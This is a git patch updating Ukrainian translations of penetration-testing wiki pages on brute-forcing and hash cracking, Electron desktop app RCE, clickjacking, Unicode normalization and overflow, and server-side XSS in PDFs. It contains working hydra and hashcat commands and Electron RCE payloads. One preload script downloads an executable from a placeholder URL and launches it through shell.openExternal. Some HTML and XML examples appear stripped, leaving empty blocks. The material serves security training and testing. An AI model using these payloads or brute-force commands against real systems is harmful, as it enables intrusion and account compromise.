From 8d80b557b1316deec7ae63081152b199d5f71bec Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 9 Mar 2025 14:22:49 +0000 Subject: [PATCH] Translated ['src/generic-hacking/brute-force.md', 'src/network-services- --- src/generic-hacking/brute-force.md | 31 ++++--- .../electron-desktop-apps/README.md | 92 ++++++++++++------- src/pentesting-web/clickjacking.md | 42 +++++---- .../unicode-normalization.md | 26 ++++-- .../server-side-xss-dynamic-pdf.md | 33 +++++-- 5 files changed, 144 insertions(+), 80 deletions(-) diff --git a/src/generic-hacking/brute-force.md b/src/generic-hacking/brute-force.md index 2e688c617..3e0e7f484 100644 --- a/src/generic-hacking/brute-force.md +++ b/src/generic-hacking/brute-force.md @@ -34,9 +34,16 @@ crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using chars ^ Special characters including spac crunch 6 8 -t ,@@^^%% ``` -### Cewl +### Словники на основі веб-сайтів ```bash +# Cewl gets words from the victims page cewl example.com -m 5 -w words.txt + +# Tok (https://github.com/tomnomnom/hacks/tree/master/tok) gets words from a list of URLs +cat /path/to/urls.txt | tok + +# https://github.com/m4ll0k/BBTz/blob/master/getjswords.py gets words from a list of JS URLs +cat /path/to/js-urls.txt | python3 getjswords.py ``` ### [CUPP](https://github.com/Mebus/cupp) @@ -113,7 +120,7 @@ legba scylla --username cassandra --password wordlists/passwords.txt --target lo msf> use auxiliary/scanner/couchdb/couchdb_login hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get / ``` -### Docker Реєстр +### Docker Registry ``` hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/ ``` @@ -332,6 +339,8 @@ hydra -l -P rlogin:// -v -V ```bash hydra -L rsh:// -v -V ``` +[http://pentestmonkey.net/tools/misc/rsh-grind](http://pentestmonkey.net/tools/misc/rsh-grind) + ### Rsync ```bash nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 @@ -435,7 +444,7 @@ set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst ```bash crackmapexec winrm -d -u usernames.txt -p passwords.txt ``` -## Локальний +## Local ### Онлайн бази даних для злому @@ -451,7 +460,7 @@ crackmapexec winrm -d -u usernames.txt -p passwords.txt - [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) (MD5) - [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com) -Перевірте це перед тим, як спробувати зламати хеш за допомогою брутфорсу. +Перевірте це перед спробою злому хешу. ### ZIP ```bash @@ -469,9 +478,9 @@ john zip.john hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt .\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack ``` -#### Відома атака на zip з відкритим текстом +#### Відомий атака на zip з відкритим текстом -Вам потрібно знати **відкритий текст** (або частину відкритого тексту) **файлу, що міститься всередині** зашифрованого zip. Ви можете перевірити **імена файлів та розмір файлів, що містяться всередині** зашифрованого zip, виконавши: **`7z l encrypted.zip`**\ +Вам потрібно знати **відкритий текст** (або частину відкритого тексту) **файлу, що міститься всередині** зашифрованого zip. Ви можете перевірити **імена файлів та розмір файлів, що містяться всередині** зашифрованого zip, запустивши: **`7z l encrypted.zip`**\ Завантажте [**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0) зі сторінки релізів. ```bash # You need to create a zip file containing only the file that is inside the encrypted zip @@ -560,7 +569,7 @@ cryptsetup luksOpen backup.img mylucksopen ls /dev/mapper/ #You should find here the image mylucksopen mount /dev/mapper/mylucksopen /mnt ``` -Інший туторіал Luks BF: [http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1) +Інший туторіал по Luks BF: [http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1) ### Mysql ```bash @@ -606,12 +615,12 @@ crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx **Приклади хешів:** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes) -### Ідентифікатор хешів +### Hash-identifier ```bash hash-identifier > ``` -### Словники +### Wordlists - **Rockyou** - [**Probable-Wordlists**](https://github.com/berzerk0/Probable-Wordlists) @@ -699,7 +708,7 @@ hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt ```bash hashcat --example-hashes | grep -B1 -A2 "NTLM" ``` -Злом Linux хешів - файл /etc/shadow +Злом Linux Hashes - файл /etc/shadow ``` 500 | md5crypt $1$, MD5(Unix) | Operating-Systems 3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems @@ -711,7 +720,7 @@ hashcat --example-hashes | grep -B1 -A2 "NTLM" 3000 | LM | Operating-Systems 1000 | NTLM | Operating-Systems ``` -Зламування загальних хешів додатків +Злом загальних хешів додатків ``` 900 | MD4 | Raw Hash 0 | MD5 | Raw Hash diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md index 6d4bd700b..78ec459fa 100644 --- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md +++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md @@ -37,13 +37,13 @@ win.loadURL(`file://path/to/index.html`) Electron додаток **може отримати доступ до пристрою** через Node API, хоча його можна налаштувати, щоб запобігти цьому: - **`nodeIntegration`** - за замовчуванням вимкнено. Якщо ввімкнено, дозволяє отримувати доступ до функцій Node з renderer process. -- **`contextIsolation`** - за замовчуванням увімкнено. Якщо вимкнено, основний і рендеринговий процеси не ізольовані. +- **`contextIsolation`** - за замовчуванням увімкнено. Якщо вимкнено, основний і renderer процеси не ізольовані. - **`preload`** - за замовчуванням порожній. - [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - за замовчуванням вимкнено. Це обмежить дії, які може виконувати NodeJS. - Node Integration в Workers - **`nodeIntegrationInSubframes`** - за замовчуванням вимкнено. -- Якщо **`nodeIntegration`** **увімкнено**, це дозволить використовувати **Node.js APIs** на веб-сторінках, які **завантажуються в iframes** в рамках Electron додатку. -- Якщо **`nodeIntegration`** **вимкнено**, тоді попередні завантаження будуть завантажуватися в iframe. +- Якщо **`nodeIntegration`** **увімкнено**, це дозволить використовувати **Node.js APIs** на веб-сторінках, які **завантажуються в iframes** всередині Electron додатку. +- Якщо **`nodeIntegration`** **вимкнено**, тоді попередні завантаження завантажаться в iframe. Приклад конфігурації: ```javascript @@ -71,7 +71,7 @@ spellcheck: true, }, } ``` -Деякі **RCE payloads** з [тут](https://7as.es/electron/nodeIntegration_rce.txt): +Деякі **RCE payloads** з [here](https://7as.es/electron/nodeIntegration_rce.txt): ```html Example Payloads (Windows): src="x" onerror="alert(require('child_process').execSync('uname -a').toString());" /> ``` -### Capture traffic +### Захоплення трафіку -Змініть конфігурацію start-main і додайте використання проксі, наприклад: +Змініть конфігурацію start-main і додайте використання проксі, такого як: ```javascript "start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors", ``` @@ -152,13 +152,13 @@ runCalc() ## RCE: XSS + contextIsolation -_**contextIsolation**_ вводить **окремі контексти між скриптами веб-сторінки та внутрішнім кодом JavaScript Electron**, так що виконання JavaScript кожного коду не впливає на інший. Це необхідна функція для усунення можливості RCE. +_**contextIsolation**_ вводить **окремі контексти між скриптами веб-сторінки та внутрішнім кодом JavaScript Electron**, щоб виконання JavaScript кожного коду не впливало на інший. Це необхідна функція для усунення можливості RCE. Якщо контексти не ізольовані, зловмисник може: 1. Виконати **произвольний JavaScript у рендерері** (XSS або навігація на зовнішні сайти) 2. **Перезаписати вбудований метод**, який використовується в preload або внутрішньому коді Electron, на власну функцію -3. **Викликати** використання **перезаписаної функції** +3. **Запустити** використання **перезаписаної функції** 4. RCE? Є 2 місця, де вбудовані методи можуть бути перезаписані: у коді preload або у внутрішньому коді Electron: @@ -185,14 +185,14 @@ window.addEventListener('click', (e) => { Для отримання додаткової інформації про ці приклади перегляньте [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) та [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/) -При розгортанні настільного додатку Electron важливо забезпечити правильні налаштування для `nodeIntegration` та `contextIsolation`. Встановлено, що **віддалене виконання коду на стороні клієнта (RCE)**, яке націлене на попередньо завантажені скрипти або рідний код Electron з основного процесу, ефективно запобігається за наявності цих налаштувань. +При розгортанні настільного додатку Electron важливо забезпечити правильні налаштування для `nodeIntegration` та `contextIsolation`. Встановлено, що **віддалене виконання коду на стороні клієнта (RCE)**, яке націлене на попередні скрипти або рідний код Electron з основного процесу, ефективно запобігається за наявності цих налаштувань. Коли користувач взаємодіє з посиланнями або відкриває нові вікна, спрацьовують специфічні обробники подій, які є критично важливими для безпеки та функціональності додатку: ```javascript webContents.on("new-window", function (event, url, disposition, options) {} webContents.on("will-navigate", function (event, url) {} ``` -Ці слухачі **перекриваються настільним додатком** для реалізації власної **бізнес-логіки**. Додаток оцінює, чи слід відкривати навігаційне посилання внутрішньо чи в зовнішньому веб-браузері. Це рішення зазвичай приймається через функцію `openInternally`. Якщо ця функція повертає `false`, це вказує на те, що посилання слід відкривати зовні, використовуючи функцію `shell.openExternal`. +Ці слухачі **перекриваються настільним додатком** для реалізації власної **бізнес-логіки**. Додаток оцінює, чи слід відкривати навігаційне посилання внутрішньо або в зовнішньому веб-браузері. Це рішення зазвичай приймається через функцію `openInternally`. Якщо ця функція повертає `false`, це вказує на те, що посилання слід відкривати зовні, використовуючи функцію `shell.openExternal`. **Ось спрощений псевдокод:** @@ -224,13 +224,34 @@ window.open( ) ``` +## RCE: webviewTag + вразливий preload IPC + shell.openExternal + +Цю вразливість можна знайти в **[цьому звіті](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**. + +**webviewTag** є **застарілою функцією**, яка дозволяє використовувати **NodeJS** в **процесі рендерингу**, що слід вимкнути, оскільки це дозволяє завантажувати скрипт у контексті preload, як: +```xml + +``` +Отже, зловмисник, який зміг завантажити довільну сторінку, міг би використати цей тег для **завантаження довільного попереднього скрипту**. + +Цей попередній скрипт був зловжито використаний для виклику **вразливого IPC-сервісу (`skype-new-window`)**, який викликав **`shell.openExternal`** для отримання RCE: +```javascript +(async() => { +const { ipcRenderer } = require("electron"); +await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH"); +setTimeout(async () => { +const username = process.execPath.match(/C:\\Users\\([^\\]+)/); +await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`); +}, 5000); +})(); +``` ## Читання внутрішніх файлів: XSS + contextIsolation -**Вимкнення `contextIsolation` дозволяє використовувати `` теги**, подібно до ` ``` -`allow-forms` та `allow-scripts` значення дозволяють дії в межах iframe, одночасно заважаючи навігації на верхньому рівні. Щоб забезпечити належну функціональність цільового сайту, можуть знадобитися додаткові дозволи, такі як `allow-same-origin` та `allow-modals`, залежно від типу атаки. Повідомлення консолі браузера можуть вказати, які дозволи слід надати. +`allow-forms` та `allow-scripts` значення дозволяють дії в межах iframe, одночасно заважаючи навігації на верхньому рівні. Щоб забезпечити передбачувану функціональність цільового сайту, можуть бути необхідні додаткові дозволи, такі як `allow-same-origin` та `allow-modals`, залежно від типу атаки. Повідомлення консолі браузера можуть вказати, які дозволи слід надати. ### Серверні захисти @@ -137,13 +139,13 @@ sandbox="allow-forms allow-scripts"> - `X-Frame-Options: allow-from https://trusted.com` - Тільки вказаний 'uri' може обрамляти сторінку. - Зверніть увагу на обмеження: якщо браузер не підтримує цю директиву, вона може не працювати. Деякі браузери надають перевагу директиві CSP frame-ancestors. -#### Директива frame-ancestors політики безпеки контенту (CSP) +#### Директива frame-ancestors політики безпеки вмісту (CSP) -**Директива `frame-ancestors` у CSP** є рекомендованим методом захисту від Clickjacking: +**Директива `frame-ancestors` в CSP** є рекомендованим методом захисту від Clickjacking: -- `frame-ancestors 'none'` - Подібно до `X-Frame-Options: deny`. -- `frame-ancestors 'self'` - Подібно до `X-Frame-Options: sameorigin`. -- `frame-ancestors trusted.com` - Подібно до `X-Frame-Options: allow-from`. +- `frame-ancestors 'none'` - Схоже на `X-Frame-Options: deny`. +- `frame-ancestors 'self'` - Схоже на `X-Frame-Options: sameorigin`. +- `frame-ancestors trusted.com` - Схоже на `X-Frame-Options: allow-from`. Наприклад, наступна CSP дозволяє обрамлення лише з того ж домену: @@ -151,9 +153,9 @@ sandbox="allow-forms allow-scripts"> Додаткові деталі та складні приклади можна знайти в [документації frame-ancestors CSP](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) та [документації Mozilla про frame-ancestors CSP](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors). -### Політика безпеки контенту (CSP) з `child-src` та `frame-src` +### Політика безпеки вмісту (CSP) з `child-src` та `frame-src` -**Політика безпеки контенту (CSP)** є заходом безпеки, який допомагає запобігти Clickjacking та іншим атакам ін'єкції коду, вказуючи, які джерела браузер повинен дозволити для завантаження вмісту. +**Політика безпеки вмісту (CSP)** є заходом безпеки, який допомагає запобігти Clickjacking та іншим атакам ін'єкції коду, вказуючи, які джерела браузер повинен дозволити для завантаження вмісту. #### Директива `frame-src` @@ -166,7 +168,7 @@ Content-Security-Policy: frame-src 'self' https://trusted-website.com; #### `child-src` Директива -- Введена в CSP рівні 2 для встановлення дійсних джерел для веб-робітників та фреймів. +- Введена в CSP рівня 2 для встановлення дійсних джерел для веб-робітників та фреймів. - Використовується як резервний варіант для frame-src та worker-src. ``` Content-Security-Policy: child-src 'self' https://trusted-website.com; @@ -175,8 +177,8 @@ Content-Security-Policy: child-src 'self' https://trusted-website.com; **Примітки щодо використання:** -- Відмова: child-src поступово скасовується на користь frame-src та worker-src. -- Поведінка за замовчуванням: Якщо frame-src відсутній, використовується child-src як резервний варіант для фреймів. Якщо обидва відсутні, використовується default-src. +- Відмова: child-src поступово відходить на користь frame-src та worker-src. +- Поведінка за замовчуванням: Якщо frame-src відсутній, child-src використовується як резервний варіант для фреймів. Якщо обидва відсутні, використовується default-src. - Суворе визначення джерела: Включайте лише надійні джерела в директиви, щоб запобігти експлуатації. #### JavaScript скрипти для зламу фреймів @@ -189,7 +191,7 @@ top.location = self.location ``` #### Використання Anti-CSRF Токенів -- **Валідація Токенів:** Використовуйте anti-CSRF токени в веб-додатках, щоб забезпечити, що запити, які змінюють стан, виконуються навмисно користувачем, а не через Clickjacked сторінку. +- **Валідація Токенів:** Використовуйте anti-CSRF токени в веб-додатках, щоб забезпечити, що запити, що змінюють стан, здійснюються навмисно користувачем, а не через Clickjacked сторінку. ## Посилання diff --git a/src/pentesting-web/unicode-injection/unicode-normalization.md b/src/pentesting-web/unicode-injection/unicode-normalization.md index 92e9ec2dd..b18538299 100644 --- a/src/pentesting-web/unicode-injection/unicode-normalization.md +++ b/src/pentesting-web/unicode-injection/unicode-normalization.md @@ -1,4 +1,4 @@ -# Нормалізація Unicode +# Unicode Normalization {{#include ../../banners/hacktricks-training.md}} @@ -6,21 +6,21 @@ ## Розуміння Unicode та нормалізації -Нормалізація Unicode — це процес, який забезпечує стандартизацію різних бінарних представлень символів до одного й того ж бінарного значення. Цей процес є критично важливим при роботі з рядками в програмуванні та обробці даних. Стандарт Unicode визначає два типи еквівалентності символів: +Нормалізація Unicode - це процес, який забезпечує стандартизацію різних бінарних представлень символів до одного й того ж бінарного значення. Цей процес є критично важливим при роботі з рядками в програмуванні та обробці даних. Стандарт Unicode визначає два типи еквівалентності символів: 1. **Канонічна еквівалентність**: Символи вважаються канонічно еквівалентними, якщо вони мають однаковий вигляд і значення при друку або відображенні. 2. **Еквівалентність сумісності**: Слабша форма еквівалентності, де символи можуть представляти один і той же абстрактний символ, але можуть відображатися по-різному. Існує **чотири алгоритми нормалізації Unicode**: NFC, NFD, NFKC та NFKD. Кожен алгоритм використовує техніки канонічної та сумісної нормалізації по-різному. Для більш глибокого розуміння ви можете дослідити ці техніки на [Unicode.org](https://unicode.org/). -### Ключові моменти щодо кодування Unicode +### Основні моменти щодо кодування Unicode Розуміння кодування Unicode є важливим, особливо при вирішенні проблем сумісності між різними системами або мовами. Ось основні моменти: - **Кодові точки та символи**: У Unicode кожному символу або знаку присвоюється числове значення, відоме як "кодова точка". - **Представлення байтів**: Кодова точка (або символ) представлена одним або кількома байтами в пам'яті. Наприклад, символи LATIN-1 (поширені в англомовних країнах) представлені за допомогою одного байта. Однак мови з більшим набором символів потребують більше байтів для представлення. -- **Кодування**: Цей термін відноситься до того, як символи перетворюються в серію байтів. UTF-8 є поширеним стандартом кодування, де символи ASCII представлені за допомогою одного байта, а інші символи — до чотирьох байтів. -- **Обробка даних**: Системи, що обробляють дані, повинні бути обізнані про використовуване кодування, щоб правильно перетворити байтовий потік на символи. +- **Кодування**: Цей термін відноситься до того, як символи перетворюються в серію байтів. UTF-8 є поширеним стандартом кодування, де символи ASCII представлені за допомогою одного байта, а інші символи - до чотирьох байтів. +- **Обробка даних**: Системи, що обробляють дані, повинні бути обізнані про використовуване кодування, щоб правильно перетворити байтовий потік у символи. - **Варіанти UTF**: Окрім UTF-8, існують інші стандарти кодування, такі як UTF-16 (використовуючи мінімум 2 байти, до 4) та UTF-32 (використовуючи 4 байти для всіх символів). Важливо зрозуміти ці концепції, щоб ефективно обробляти та пом'якшувати потенційні проблеми, що виникають через складність Unicode та його різні методи кодування. @@ -89,16 +89,26 @@ https://github.com/carlospolop/sqlmap_to_unicode_template ![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (215) (1) (1).png>) -### Фаззинг регулярних виразів +### Fuzzing Regexes -Коли бекенд **перевіряє введення користувача за допомогою регулярного виразу**, можливо, що **введення** **нормалізується** для **регулярного виразу**, але **не** для того, де воно **використовується**. Наприклад, в Open Redirect або SSRF регулярний вираз може **нормалізувати надісланий URL**, але потім **доступатися до нього як є**. +Коли бекенд **перевіряє введення користувача за допомогою regex**, можливо, що **введення** **нормалізується** для **regex**, але **не** для того, де воно **використовується**. Наприклад, в Open Redirect або SSRF regex може **нормалізувати надісланий UR**L, але потім **доступатися до нього як є**. -Інструмент [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* дозволяє **генерувати варіації введення** для фаззингу бекенду. Для отримання додаткової інформації перегляньте **github** та цей [**пост**](https://0xacb.com/2022/11/21/recollapse/). +Інструмент [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* дозволяє **генерувати варіації введення** для fuzzing бекенду. Для отримання додаткової інформації перегляньте **github** та цей [**пост**](https://0xacb.com/2022/11/21/recollapse/). + +## Unicode Overflow + +З цього [блогу](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows), максимальне значення байта становить 255, якщо сервер вразливий, переповнення може бути створене для виробництва конкретного та несподіваного ASCII символу. Наприклад, наступні символи будуть перетворені на `A`: + +- 0x4e41 +- 0x4f41 +- 0x5041 +- 0x5141 ## Посилання - [**https://labs.spotify.com/2013/06/18/creative-usernames/**](https://labs.spotify.com/2013/06/18/creative-usernames/) - [**https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work**](https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work) - [**https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html**](https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html) +- [https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md b/src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md index 4369808d2..4f184a2f3 100644 --- a/src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md +++ b/src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md @@ -5,24 +5,24 @@ ## Server Side XSS (Dynamic PDF) Якщо веб-сторінка створює PDF, використовуючи введення, контрольоване користувачем, ви можете спробувати **обманути бота**, який створює PDF, щоб він **виконав довільний JS код**.\ -Отже, якщо **бот для створення PDF знаходить** якісь **HTML** **теги**, він буде їх **інтерпретувати**, і ви можете **зловживати** цією поведінкою, щоб викликати **Server XSS**. +Отже, якщо **бот для створення PDF знаходить** якісь **HTML** **теги**, він буде **інтерпретувати** їх, і ви можете **зловживати** цією поведінкою, щоб викликати **Server XSS**. Зверніть увагу, що теги `` не завжди працюють, тому вам знадобиться інший метод для виконання JS (наприклад, зловживанням ` + @@ -32,10 +32,26 @@ + + + + + + + + + + + + +